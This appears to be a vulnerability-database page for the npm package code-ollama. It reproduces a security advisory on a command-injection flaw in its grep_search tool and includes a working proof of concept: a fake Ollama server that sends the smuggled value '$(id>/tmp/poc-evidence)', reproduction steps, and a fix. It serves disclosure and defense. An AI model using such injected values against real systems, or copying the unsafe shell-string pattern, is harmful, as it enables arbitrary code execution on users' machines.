npm package report

Is code-ollama safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


      cvss
      0.0
      high

      severity band, no base score published

      epss
      not scored

      chance of exploitation in 30 days

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-456v-xq2p-r4cj, the advisory selected below

      // 1 advisories

      GHSA-456v-xq2p-r4cj

      HIGH
      // summary

      The grepsearch tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via childprocess.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grepsearch is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

      // details

      Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66

      const escapedPattern = searchPattern
        .replace(/\\/g, '\\\\')
        .replace(/"/g, '\\"');
      const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
      
      const { stdout } = await execShell(
        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
      );

      Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified childprocess.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.

      Full data-flow path (source → sink)

      | Step | Location | Action | |------|----------|--------| | 1 | src/utils/ollama.ts:102-103 | External Ollama chat stream delivers chunk.message.toolcalls to the CLI | | 2 | src/cli.ts:147-148 | Each toolCall is forwarded to tools.executeToolCall() | | 3 | src/utils/tools/dispatcher.ts:300-306 | Dispatcher normalizes the call and routes it | | 4 | src/utils/tools/dispatcher.ts:392-393 | stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() | | 5 | src/utils/tools/filesystem/grep.ts:58-63 | Incomplete sanitization: only \ and " are escaped (root cause) | | 6 | src/utils/tools/filesystem/grep.ts:65 | Shell command string assembled and handed to execShell() (sink) | | 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 | exec() (childprocess.exec) executes the string via /bin/sh |

      Approval-bypass amplifier

      grepsearch is listed in READTOOLNAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

      // poc

      Prerequisites

      • code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below).
      • ripgrep (rg) available in PATH (the vulnerable code path requires it).
      • Python 3 available to run the fake Ollama server.

      Step 1 — Build the self-contained Docker image (recommended)

      # From the report root directory (where vuln-001/ lives)
      docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
      docker run --rm vuln001-code-ollama

      The container automatically runs poc.py as CMD. Successful exploitation prints:

      [+] EXPLOITATION CONFIRMED
      [+] Marker file : /tmp/poc-evidence
      [+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'

      Step 2 — Manual reproduction (bare-metal)

      # Terminal 1 — start the malicious Ollama server
      cat > /tmp/fake-ollama.py <<'PY'
      from http.server import BaseHTTPRequestHandler, HTTPServer
      import json, sys, threading
      
      _req = 0
      _lock = threading.Lock()
      
      class H(BaseHTTPRequestHandler):
          def log_message(self, *a): pass
          def do_GET(self):
              self.send_response(200); self.end_headers()
              self.wfile.write(b"Ollama is running")
          def do_POST(self):
              global _req
              l = int(self.headers.get("Content-Length", 0))
              self.rfile.read(l)
              with _lock:
                  _req += 1; n = _req
              self.send_response(200)
              self.send_header("Content-Type", "application/x-ndjson")
              self.end_headers()
              if n == 1:
                  chunk = {"model":"fake","message":{"role":"assistant","content":"",
                      "tool_calls":[{"function":{"name":"grep_search",
                          "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                      "done":True,"done_reason":"stop"}
              else:
                  chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                      "done":True,"done_reason":"stop"}
              self.wfile.write((json.dumps(chunk)+"\n").encode())
              self.wfile.flush()
      
      HTTPServer(("127.0.0.1", 11434), H).serve_forever()
      PY
      python3 /tmp/fake-ollama.py &
      
      # Terminal 2 — run code-ollama against the fake server
      rm -f /tmp/poc-evidence
      OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
      cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...

      Explanation of the payload

      The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

      rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

      is executed by /bin/sh via childprocess.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

      Remediation

      Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

      -import { execShell } from '../shell';
      +import { execFile } from '../../node';
      +
      +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
      
      -      const escapedPattern = searchPattern
      -        .replace(/\\/g, '\\\\')
      -        .replace(/"/g, '\\"');
      -      const escapedDirPath = dirPath
      -        .replace(/\\/g, '\\\\')
      -        .replace(/"/g, '\\"');
      -
      -      const { stdout } = await execShell(
      -        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
      -      );
      +      const { stdout } = await execFile(
      +        'rg',
      +        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
      +        RG_EXEC_OPTIONS,
      +      );
      // impact

      This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grepsearch tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMAHOST connection — can execute arbitrary commands as the OS user running code-ollama.

      Impact scope:

      • Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
      • Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
      • Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.

      The approval-bypass via READTOOLNAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

      // dockerfile
      # VULN-001: grep_search Command Injection — CWE-78
      # Target: ai-action/code-ollama v0.36.0
      # Proof-of-concept Docker image: builds the repo and runs poc.py
      #
      # Build (from project root):
      #   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
      # Run:
      #   docker run --rm vuln001-code-ollama
      
      FROM node:24-slim
      
      # ripgrep  — required by grepSearch() in the vulnerable code path
      # python3  — runs poc.py orchestration script
      RUN apt-get update && apt-get install -y \
          ripgrep \
          python3 \
          --no-install-recommends \
       && rm -rf /var/lib/apt/lists/*

      Checked 2026-09-28 at 19:46 UTC. The most recent advisory here was published 2026-09-28. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.